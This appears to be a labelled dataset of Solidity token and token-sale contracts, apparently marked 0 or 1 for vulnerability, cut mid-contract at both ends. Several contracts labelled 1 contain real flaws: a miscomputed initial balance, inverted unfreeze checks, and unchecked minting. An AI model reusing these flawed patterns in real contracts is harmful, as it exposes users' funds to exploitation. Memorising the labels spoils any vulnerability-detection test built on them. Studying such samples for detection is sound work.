modifier not_null_address(address _item) {
require(_item != NULL_ADDRESS);
_;
}
modifier if_null_address(address _item) {
require(_item == NULL_ADDRESS);
_;
}
modifier not_null_uint(uint256 _item) {
require(_item != ZERO);
_;
}
modifier if_null_uint(uint256 _item) {
require(_item == ZERO);
_;
}
modifier not_empty_bytes(bytes32 _item) {
require(_item != EMPTY);
_;
}
modifier if_empty_bytes(bytes32 _item) {
require(_item == EMPTY);
_;
}
modifier not_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length > 0);
_;
}
modifier if_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length == 0);
_;
}
modifier require_gas(uint256 _requiredgas) {
require(msg.gas >= (_requiredgas - 22000));
_;
}
function is_contract(address _contract)
public
constant
returns (bool _is_contract)
{
uint32 _code_length;
assembly {
_code_length := extcodesize(_contract)
}
if(_code_length > 1) {
_is_contract = true;
} else {
_is_contract = false;
}
}
modifier if_contract(address _contract) {
require(is_contract(_contract) == true);
_;
}
modifier unless_contract(address _contract) {
require(is_contract(_contract) == false);
_;
}
}
contract MarketplaceAdminController {
}
contract MarketplaceStorage {
}
contract MarketplaceController {
function put_purchase_for(uint256 _wei_sent, address _buyer, address _recipient, uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature) payable public returns (bool _success, uint256 _purchased_amount);
}
contract MarketplaceCommon is ResolverClient, ACConditions, DigixConstants {
function marketplace_admin_controller()
internal
constant
returns (MarketplaceAdminController _contract)
{
_contract = MarketplaceAdminController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE_ADMIN));
}
function marketplace_storage()
internal
constant
returns (MarketplaceStorage _contract)
{
_contract = MarketplaceStorage(get_contract(CONTRACT_STORAGE_MARKETPLACE));
}
function marketplace_controller()
internal
constant
returns (MarketplaceController _contract)
{
_contract = MarketplaceController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE));
}
}
contract Marketplace is MarketplaceCommon {
function Marketplace(address _resolver) public
{
require(init(CONTRACT_INTERACTIVE_MARKETPLACE, _resolver));
}
function purchase(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature)
payable
public
returns (bool _success, uint256 _purchased_amount)
{
address _sender = msg.sender;
(_success, _purchased_amount) =
marketplace_controller().put_purchase_for.value(msg.value).gas(600000)(msg.value, _sender, _sender, _block_number,
_nonce, _wei_per_dgx_mg, _signer, _signature);
require(_success);
}
} | 0 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract SealTokenSale is Pausable {
using SafeMath for uint256;
struct Supporter {
bool hasKYC;
address referrerAddress;
}
struct ExternalSupporter {
uint256 reservedAmount;
}
enum TokenSaleState {Private, Pre, Main, Finished}
mapping(address => Supporter) public supportersMap;
mapping(address => ExternalSupporter) public externalSupportersMap;
SealToken public token;
address public vaultWallet;
address public airdropWallet;
address public kycWallet;
uint256 public tokensSold;
uint256 public tokensReserved;
uint256 public maxTxGasPrice;
TokenSaleState public currentState;
uint256 public constant ONE_MILLION = 10 ** 6;
uint256 public constant PRE_SALE_TOKEN_CAP = 384 * ONE_MILLION * 10 ** 18;
uint256 public constant TOKEN_SALE_CAP = 492 * ONE_MILLION * 10 ** 18;
uint256 public constant TOTAL_TOKENS_SUPPLY = 1200 * ONE_MILLION * 10 ** 18;
uint256 public constant MIN_ETHER = 0.1 ether;
uint256 public constant PRE_SALE_MIN_ETHER = 1 ether;
uint256 public constant PRE_SALE_15_BONUS_MIN = 60 ether;
uint256 public constant PRE_SALE_20_BONUS_MIN = 300 ether;
uint256 public constant PRE_SALE_30_BONUS_MIN = 1200 ether;
uint256 public tokenBaseRate;
uint256 public referrerBonusRate;
uint256 public referredBonusRate;
modifier onlyOwnerOrKYCWallet() {
require(msg.sender == owner || msg.sender == kycWallet);
_;
}
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
event TokenReservation(address indexed wallet, uint256 amount);
event TokenReservationConfirmation(address indexed wallet, uint256 amount);
event TokenReservationCancellation(address indexed wallet, uint256 amount);
event KYC(address indexed user, bool isApproved);
event ReferrerSet(address indexed user, address indexed referrerAddress);
event ReferralBonusIncomplete(address indexed userAddress, uint256 missingAmount);
event ReferralBonusMinted(address indexed userAddress, uint256 amount);
function SealTokenSale(
address _vaultWallet,
address _airdropWallet,
address _kycWallet,
uint256 _tokenBaseRate,
uint256 _referrerBonusRate,
uint256 _referredBonusRate,
uint256 _maxTxGasPrice
)
public
{
require(_vaultWallet != address(0));
require(_airdropWallet != address(0));
require(_kycWallet != address(0));
require(_tokenBaseRate > 0);
require(_referrerBonusRate > 0);
require(_referredBonusRate > 0);
require(_maxTxGasPrice > 0);
vaultWallet = _vaultWallet;
airdropWallet = _airdropWallet;
kycWallet = _kycWallet;
tokenBaseRate = _tokenBaseRate;
referrerBonusRate = _referrerBonusRate;
referredBonusRate = _referredBonusRate;
maxTxGasPrice = _maxTxGasPrice;
tokensSold = 0;
tokensReserved = 0;
token = new SealToken();
currentState = TokenSaleState.Private;
}
function() public payable {
buyTokens();
}
function buyTokens() public payable whenNotPaused {
require(tx.gasprice <= maxTxGasPrice);
require(isPublicTokenSaleRunning());
require(userHasKYC(msg.sender));
require(aboveMinimumPurchase());
address sender = msg.sender;
uint256 weiAmountSent = msg.value;
uint256 bonusMultiplier = getBonusMultiplier(weiAmountSent);
uint256 newTokens = weiAmountSent.mul(tokenBaseRate).mul(bonusMultiplier).div(100);
checkTotalsAndMintTokens(sender, newTokens, false);
TokenPurchase(sender, weiAmountSent, newTokens);
vaultWallet.transfer(msg.value);
}
function reserveTokens(address _wallet, uint256 _amount) public onlyOwner {
require(_amount > 0);
require(_wallet != address(0));
require(isPrivateSaleRunning() || isPreSaleRunning());
uint256 totalTokensReserved = tokensReserved.add(_amount);
require(tokensSold + totalTokensReserved <= PRE_SALE_TOKEN_CAP);
tokensReserved = totalTokensReserved;
externalSupportersMap[_wallet].reservedAmount = externalSupportersMap[_wallet].reservedAmount.add(_amount);
TokenReservation(_wallet, _amount);
}
function confirmReservedTokens(address _wallet, uint256 _amount) public onlyOwner {
require(_amount > 0);
require(_wallet != address(0));
require(!hasEnded());
require(_amount <= externalSupportersMap[_wallet].reservedAmount);
checkTotalsAndMintTokens(_wallet, _amount, true);
TokenReservationConfirmation(_wallet, _amount);
}
function cancelReservedTokens(address _wallet, uint256 _amount) public onlyOwner {
require(_amount > 0);
require(_wallet != address(0));
require(!hasEnded());
require(_amount <= externalSupportersMap[_wallet].reservedAmount);
tokensReserved = tokensReserved.sub(_amount);
externalSupportersMap[_wallet].reservedAmount = externalSupportersMap[_wallet].reservedAmount.sub(_amount);
TokenReservationCancellation(_wallet, _amount);
}
function checkTotalsAndMintTokens(address _wallet, uint256 _amount, bool _fromReservation) private {
uint256 totalTokensSold = tokensSold.add(_amount);
uint256 totalTokensReserved = tokensReserved;
if (_fromReservation) {
totalTokensReserved = totalTokensReserved.sub(_amount);
}
if (isMainSaleRunning()) {
require(totalTokensSold + totalTokensReserved <= TOKEN_SALE_CAP);
} else {
require(totalTokensSold + totalTokensReserved <= PRE_SALE_TOKEN_CAP);
}
tokensSold = totalTokensSold;
if (_fromReservation) {
externalSupportersMap[_wallet].reservedAmount = externalSupportersMap[_wallet].reservedAmount.sub(_amount);
tokensReserved = totalTokensReserved;
}
token.mint(_wallet, _amount);
address userReferrer = getUserReferrer(_wallet);
if (userReferrer != address(0)) {
mintReferralShare(_amount, userReferrer, referrerBonusRate);
mintReferralShare(_amount, _wallet, referredBonusRate);
}
}
function mintReferralShare(uint256 _amount, address _userAddress, uint256 _bonusRate) private {
uint256 currentCap;
if (isMainSaleRunning()) {
currentCap = TOKEN_SALE_CAP;
} else {
currentCap = PRE_SALE_TOKEN_CAP;
}
uint256 maxTokensAvailable = currentCap - tokensSold - tokensReserved;
uint256 fullShare = _amount.mul(_bonusRate).div(10000);
if (fullShare <= maxTokensAvailable) {
token.mint(_userAddress, fullShare);
tokensSold = tokensSold.add(fullShare);
ReferralBonusMinted(_userAddress, fullShare);
}
else {
token.mint(_userAddress, maxTokensAvailable);
tokensSold = tokensSold.add(maxTokensAvailable);
ReferralBonusMinted(_userAddress, maxTokensAvailable);
ReferralBonusIncomplete(_userAddress, fullShare - maxTokensAvailable);
}
}
function startPreSale() public onlyOwner {
require(currentState == TokenSaleState.Private);
currentState = TokenSaleState.Pre;
}
function goBackToPrivateSale() public onlyOwner {
require(currentState == TokenSaleState.Pre);
currentState = TokenSaleState.Private;
}
function startMainSale() public onlyOwner {
require(currentState == TokenSaleState.Pre);
currentState = TokenSaleState.Main;
}
function goBackToPreSale() public onlyOwner {
require(currentState == TokenSaleState.Main);
currentState = TokenSaleState.Pre;
}
function finishContract() public onlyOwner {
require(currentState == TokenSaleState.Main);
require(tokensReserved == 0);
currentState = TokenSaleState.Finished;
uint256 unsoldTokens = TOKEN_SALE_CAP.sub(tokensSold);
token.mint(airdropWallet, unsoldTokens);
uint256 notForSaleTokens = TOTAL_TOKENS_SUPPLY.sub(TOKEN_SALE_CAP);
token.mint(vaultWallet, notForSaleTokens);
token.finishMinting();
token.transferOwnership(owner);
}
function updateMaxTxGasPrice(uint256 _newMaxTxGasPrice) public onlyOwner {
require(_newMaxTxGasPrice > 0);
maxTxGasPrice = _newMaxTxGasPrice;
}
function updateTokenBaseRate(uint256 _tokenBaseRate) public onlyOwner {
require(_tokenBaseRate > 0);
tokenBaseRate = _tokenBaseRate;
}
function updateVaultWallet(address _vaultWallet) public onlyOwner {
require(_vaultWallet != address(0));
vaultWallet = _vaultWallet;
}
function updateKYCWallet(address _kycWallet) public onlyOwner {
require(_kycWallet != address(0));
kycWallet = _kycWallet;
}
function approveUserKYC(address _user) onlyOwnerOrKYCWallet public {
require(_user != address(0));
Supporter storage sup = supportersMap[_user];
sup.hasKYC = true;
KYC(_user, true);
}
function disapproveUserKYC(address _user) onlyOwnerOrKYCWallet public {
require(_user != address(0));
Supporter storage sup = supportersMap[_user];
sup.hasKYC = false;
KYC(_user, false);
}
function approveUserKYCAndSetReferrer(address _user, address _referrerAddress) onlyOwnerOrKYCWallet public {
require(_user != address(0));
Supporter storage sup = supportersMap[_user];
sup.hasKYC = true;
sup.referrerAddress = _referrerAddress;
KYC(_user, true);
ReferrerSet(_user, _referrerAddress);
}
function isPrivateSaleRunning() public view returns (bool) {
return (currentState == TokenSaleState.Private);
}
function isPublicTokenSaleRunning() public view returns (bool) {
return (isPreSaleRunning() || isMainSaleRunning());
}
function isPreSaleRunning() public view returns (bool) {
return (currentState == TokenSaleState.Pre);
}
function isMainSaleRunning() public view returns (bool) {
return (currentState == TokenSaleState.Main);
}
function hasEnded() public view returns (bool) {
return (currentState == TokenSaleState.Finished);
}
function userHasKYC(address _user) public view returns (bool) {
return supportersMap[_user].hasKYC;
}
function getUserReferrer(address _user) public view returns (address) {
return supportersMap[_user].referrerAddress;
}
function getReservedAmount(address _user) public view returns (uint256) {
return externalSupportersMap[_user].reservedAmount;
}
function getBonusMultiplier(uint256 _weiAmount) internal view returns (uint256) {
if (isMainSaleRunning()) {
return 100;
}
else if (isPreSaleRunning()) {
if (_weiAmount >= PRE_SALE_30_BONUS_MIN) {
return 130;
}
else if (_weiAmount >= PRE_SALE_20_BONUS_MIN) {
return 120;
}
else if (_weiAmount >= PRE_SALE_15_BONUS_MIN) {
return 115;
}
else if (_weiAmount >= PRE_SALE_MIN_ETHER) {
return 110;
}
else {
revert();
}
}
}
function aboveMinimumPurchase() internal view returns (bool) {
if (isMainSaleRunning()) {
return msg.value >= MIN_ETHER;
}
else if (isPreSaleRunning()) {
return msg.value >= PRE_SALE_MIN_ETHER;
} else {
return false;
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract SealToken is MintableToken {
string public constant name = "SealToken";
string public constant symbol = "SEAL";
uint8 public constant decimals = 18;
modifier onlyWhenTransferEnabled() {
require(mintingFinished);
_;
}
modifier validDestination(address _to) {
require(_to != address(0x0));
require(_to != address(this));
_;
}
function SealToken() public {
}
function transferFrom(address _from, address _to, uint256 _value) public
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public
onlyWhenTransferEnabled
returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval (address _spender, uint _addedValue) public
onlyWhenTransferEnabled
returns (bool) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval (address _spender, uint _subtractedValue) public
onlyWhenTransferEnabled
returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function transfer(address _to, uint256 _value) public
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transfer(_to, _value);
}
} | 0 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Tripxchain is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "TXC";
name = "Tripxchain";
decimals = 0;
_totalSupply = 3000000000 * 0**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.16;
contract SafeMath {
function SafeMath() {
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IERC20Token {
function name() public constant returns (string name) { name; }
function symbol() public constant returns (string symbol) { symbol; }
function decimals() public constant returns (uint8 decimals) { decimals; }
function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; }
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract COSSToken is IERC20Token, SafeMath {
string public standard = 'COSS_DEMO';
string public name = 'COSS_DEMO';
string public symbol = 'COSS_DEMO';
uint8 public decimals = 18;
uint256 public totalSupply = 200000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping (address => uint256) public revenueShareList;
mapping (address => string) public revenueShareCurrency;
mapping (address => uint256) public revenueShareDistribution;
address public revenueShareOwnerAddress;
function COSSToken() {
balanceOf[msg.sender] = totalSupply * decimals;
revenueShareOwnerAddress = msg.sender;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function activateRevenueShareReference(uint256 _revenueShareItem) {
revenueShareList[msg.sender] = _revenueShareItem;
}
function addRevenueShareCurrency(address _currencyAddress,string _currencyName) {
if (msg.sender == revenueShareOwnerAddress) {
revenueShareCurrency[_currencyAddress] = _currencyName;
revenueShareDistribution[_currencyAddress] = 0;
}
}
function saveRevenueShareDistribution(address _currencyAddress, uint256 _value) {
if (msg.sender == revenueShareOwnerAddress) {
revenueShareDistribution[_currencyAddress] = safeAdd(revenueShareDistribution[_currencyAddress], _value);
}
}
function transfer(address _to, uint256 _value)
public
validAddress(_to)
returns (bool success)
{
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
validAddress(_from)
validAddress(_to)
returns (bool success)
{
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
validAddress(_spender)
returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Contract Paused. Events/Transaction Paused until Further Notice");
_;
}
modifier whenPaused() {
require(paused, "Contract Functionality Resumed");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract StandardToken is Pausable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 supply;
uint256 public initialSupply;
uint256 public totalSupply;
address public marketingReserve;
address public bountyReserve;
address public teamReserve;
uint256 marketingToken;
uint256 bountyToken;
uint256 teamToken;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
name = "Bitbose";
symbol = "BOSE";
decimals = 18;
supply = 300000000;
initialSupply = supply * (10 ** uint256(decimals));
totalSupply = initialSupply;
balances[owner] = totalSupply;
bountyTransfers();
}
function bountyTransfers() internal {
marketingReserve = 0x0093126Cc5Db9BaFe75EdEB19F305E724E28213D;
bountyReserve = 0x00E3b0794F69015fc4a8635F788A41F11d88Aa07;
teamReserve = 0x004f678A05E41D2df20041D70dd5aca493369904;
marketingToken = ( totalSupply * 12 ) / 100;
bountyToken = ( totalSupply * 2 ) / 100;
teamToken = ( totalSupply * 16 ) / 100;
balances[msg.sender] = totalSupply - marketingToken - teamToken - bountyToken;
balances[teamReserve] = teamToken;
balances[bountyReserve] = bountyToken;
balances[marketingReserve] = marketingToken;
Transfer(msg.sender, marketingReserve, marketingToken);
Transfer(msg.sender, bountyReserve, bountyToken);
Transfer(msg.sender, teamReserve, teamToken);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view whenNotPaused returns (uint256) {
return balances[_owner];
}
function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view whenNotPaused returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval( address _spender, uint256 _addedValue ) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval( address _spender, uint256 _subtractedValue ) public whenNotPaused returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Bitbose is StandardToken {
using SafeMath for uint256;
mapping (address => uint256) public freezed;
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event Withdraw(address indexed _from, address indexed _to, uint256 _value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
function burn(uint256 _value) public onlyOwner whenNotPaused {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burnFrom(address _from, uint256 _value) public onlyOwner whenNotPaused {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function mint(address _to, uint256 _amount) public onlyOwner whenNotPaused returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function freeze(address _spender,uint256 _value) public onlyOwner whenNotPaused returns (bool success) {
require(_value < balances[_spender]);
require(_value >= 0);
balances[_spender] = balances[_spender].sub(_value);
freezed[_spender] = freezed[_spender].add(_value);
emit Freeze(_spender, _value);
return true;
}
function unfreeze(address _spender,uint256 _value) public onlyOwner whenNotPaused returns (bool success) {
require(freezed[_spender] < _value);
require(_value <= 0);
freezed[_spender] = freezed[_spender].sub(_value);
balances[_spender] = balances[_spender].add(_value);
emit Unfreeze(_spender, _value);
return true;
}
function withdrawEther(address _account) public onlyOwner whenNotPaused payable returns (bool success) {
_account.transfer(address(this).balance);
emit Withdraw(this, _account, address(this).balance);
return true;
}
function() public payable {
}
} | 1 |
pragma solidity ^0.4.16;
interface token_recipient { function approved(address _from, uint256 _value, address _token, bytes _data) public; }
contract ERC20 {
string public name;
string public symbol;
uint8 public decimals = 2;
uint256 public totalSupply;
address public owner;
mapping (address => uint256) public balance;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ERC20 (string token_name, string token_symbol, uint256 supply) public {
name = token_name;
symbol = token_symbol;
totalSupply = supply * 10 ** uint256(decimals);
owner = msg.sender;
balance[msg.sender] = totalSupply;
}
modifier owned {
require(msg.sender == owner);
_;
}
function _transfer (address _from, address _to, uint256 _value) internal {
require(_to != 0x0);
require(balance[_from] >= _value);
require(balance[_to] + _value > balance[_to]);
uint prev_balances = balance[_from] + balance[_to];
balance[_from] -= _value;
balance[_to] += _value;
Transfer(_from, _to, _value);
assert(balance[_from] + balance[_to] == prev_balances);
}
function approve (address _spender, uint256 _value, bytes _data) public {
allowance[msg.sender][_spender] = _value;
token_recipient spender = token_recipient(_spender);
spender.approved(msg.sender, _value, this, _data);
}
function transfer (address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balance[msg.sender] >= _value);
balance[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balance[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balance[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function mint(address target, uint256 mint_value) public owned {
balance[target] += mint_value;
totalSupply += mint_value;
Transfer(0, this, mint_value);
